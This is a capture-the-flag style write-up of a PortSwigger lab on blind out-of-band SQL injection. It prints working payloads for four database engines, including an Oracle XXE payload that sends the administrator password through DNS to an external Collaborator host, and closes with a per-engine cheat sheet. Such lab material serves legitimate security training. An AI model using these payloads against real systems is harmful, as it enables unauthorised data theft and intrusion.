Skip to content

Blind SQL Injection — Out-of-Band (OOB) Data Exfiltration

Field Value
Platform PortSwigger Web Security Academy
Vulnerability Blind SQL Injection — Out-of-Band (OOB) via Oracle XXE
Difficulty Practitioner
Injection Point TrackingId cookie
Goal Exfiltrate the administrator password via DNS to Burp Collaborator

What is Out-of-Band (OOB) SQL Injection?

In every blind SQLi technique covered so far, the attack relied on something the application itself returned to infer information:

Technique What you observe
Boolean-based Response body changes (Welcome back present/absent)
Error-based Error message reflected in the response body
Time-based How long the server takes to respond

Out-of-band injection is completely different. The application's HTTP response tells you nothing — it always returns the same thing regardless of what the injected query does. There is no boolean difference, no error message, no delay.

Instead of reading the response, you make the database server itself contact you on a separate network channel — typically DNS or HTTP. The database reaches out to a server you control, and the exfiltrated data travels as part of that outbound request.

Normal SQLi:  Attacker → [HTTP] → App → DB → [HTTP response] → Attacker reads data

OOB SQLi:     Attacker → [HTTP] → App → DB → [DNS lookup] → Attacker's Collaborator server
                                                              ↑
                                                   Data arrives here, not in the response

This is why OOB requires Burp Collaborator — you need an internet-accessible server that logs incoming DNS queries and HTTP requests from the target database.


Why the Database Makes DNS Requests

The technique works by injecting SQL that constructs a URL containing the data to steal, then forces the database to resolve that URL. The database performs a DNS lookup — and the hostname contains the stolen data as a subdomain:

http://[STOLEN-DATA].[COLLABORATOR-DOMAIN]/
         ↑
         The stolen data travels as part of the DNS hostname

When the database resolves this hostname, Collaborator logs the DNS query — including the full hostname — and you read the stolen data from the subdomain field.


Phase 1 — Reconnaissance

After trying every other technique — boolean, error-based, time-based — nothing produced any observable difference. All responses were identical. OOB was the only remaining channel.


Phase 2 — Attack Path

Step 1 — Start Burp Collaborator

Burp Suite Professional → Collaborator tab → Copy to clipboard. This provides a unique subdomain like v1xhvqtyqtu1mbx34qmn1686hxnpbgz5.oastify.com that will log any incoming DNS or HTTP interactions.


Step 2 — DB Fingerprinting via OOB Probes

Each database engine has a different OOB primitive. Testing each until one triggers a Collaborator interaction:

-- Microsoft SQL Server
Cookie: TrackingId=cookie' exec master..xp_dirtree '//COLLABORATOR-SUBDOMAIN/a' -- -;

-- PostgreSQL
Cookie: TrackingId=cookie' copy (SELECT '') to program 'nslookup COLLABORATOR-SUBDOMAIN' -- -;

-- MySQL (Windows only)
Cookie: TrackingId=cookie' LOAD_FILE('\\\\COLLABORATOR-SUBDOMAIN\\a') -- -;

None of those triggered an interaction. The Oracle payload did — confirming Oracle as the backend:

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

The Oracle OOB technique abuses an XXE (XML External Entity) vulnerability inside the EXTRACTVALUE() + xmltype() functions. The XML parser fetches the SYSTEM entity URL — which is the Collaborator subdomain — causing a DNS lookup that Collaborator records.


Step 3 — Confirm OOB Interaction Works

URL-encoding the entire payload (Ctrl+U in Burp) before sending is required — the XML contains characters that would break the HTTP request if sent raw:

Cookie: TrackingId=MKw2PNeRv1K2SL3N' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://v1xhvqtyqtu1mbx34qmn1686hxnpbgz5.oastify.com/"> %remote;]>'),'/l') FROM dual -- -;
Screenshot

Collaborator showed a DNS interaction — OOB confirmed working. No data is exfiltrated yet — this step only confirms the channel is open.


Step 4 — Exfiltrate the Administrator Password

The password is concatenated into the subdomain of the URL using Oracle's || operator. The database looks up the constructed hostname, and the DNS query carries the password as the subdomain:

Cookie: TrackingId=MKw2PNeRv1K2SL3N' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.v1xhvqtyqtu1mbx34qmn1686hxnpbgz5.oastify.com/"> %remote;]>'),'/l') FROM dual -- -;
Screenshot

The password appeared as a subdomain in the Collaborator DNS interaction.


How the Full Payload Works — Step by Step

SELECT EXTRACTVALUE(
    xmltype('
        <?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE root [
            <!ENTITY % remote SYSTEM
                "http://'||(SELECT password FROM users WHERE username=''administrator'')||'.collaborator.com/">
            %remote;
        ]>
    '),
    '/l'
) FROM dual
  1. Subquery executesSELECT password FROM users WHERE username='administrator' returns the password string, e.g. secretpass123
  2. String concatenation|| builds the URL: http://secretpass123.collaborator.com/
  3. xmltype() parses the XML string — the XML parser is triggered
  4. <!ENTITY % remote SYSTEM "..."> declares an external entity — pointing to the constructed URL
  5. %remote; expands the entity — the XML parser attempts to fetch the URL
  6. DNS lookup — the database's OS resolves secretpass123.collaborator.com via DNS
  7. Collaborator logs the DNS query — the full hostname including the password is recorded and readable

Conclusion

  1. All standard blind SQLi techniques — boolean, error-based, time-based — produced identical HTTP 200 responses with no observable difference.
  2. OOB probes for MSSQL, PostgreSQL, and MySQL produced no Collaborator interaction; the Oracle xmltype() XXE probe triggered a DNS interaction, confirming Oracle as the backend.
  3. A baseline interaction confirmed the OOB channel was open.
  4. Concatenating the password subquery into the Collaborator subdomain via || caused the database to perform a DNS lookup containing the password — readable in Collaborator's interaction log.

Key Concepts

The four blind SQLi channels — complete hierarchy:

Channel Signal Last resort?
Boolean-based App behavior difference No
Error-based (visible) Error message in response body No
Time-based Response delay No
Out-of-band DNS / HTTP to external server Yes — when all others fail

OOB requires Burp Collaborator (or equivalent) — you need an internet-facing server that logs incoming DNS queries. The data never appears in the HTTP response — the only place it exists is the Collaborator log.

Data travels in the DNS hostname — by embedding the query result as a subdomain, the DNS resolution itself carries the exfiltrated data. No HTTP body, no response code, no timing — just a hostname lookup.

OOB primitives by database engine:

Database OOB Primitive
Oracle xmltype() XXE via EXTRACTVALUE() + <!ENTITY % remote SYSTEM "http://...">
MSSQL exec master..xp_dirtree '//collaborator-domain/a'
PostgreSQL copy (SELECT '') to program 'nslookup collaborator-domain'
MySQL LOAD_FILE('\\\\collaborator-domain\\a') (Windows only)

URL-encoding is mandatory — the XML payload contains characters (<, >, %, ") that break raw HTTP requests. Always URL-encode the full payload in Burp before sending (Ctrl+U in Repeater).

Database fingerprinting gates the technique — you cannot exfiltrate data until you know which OOB primitive the backend supports. Always test each engine's probe in sequence and watch Collaborator for the first interaction.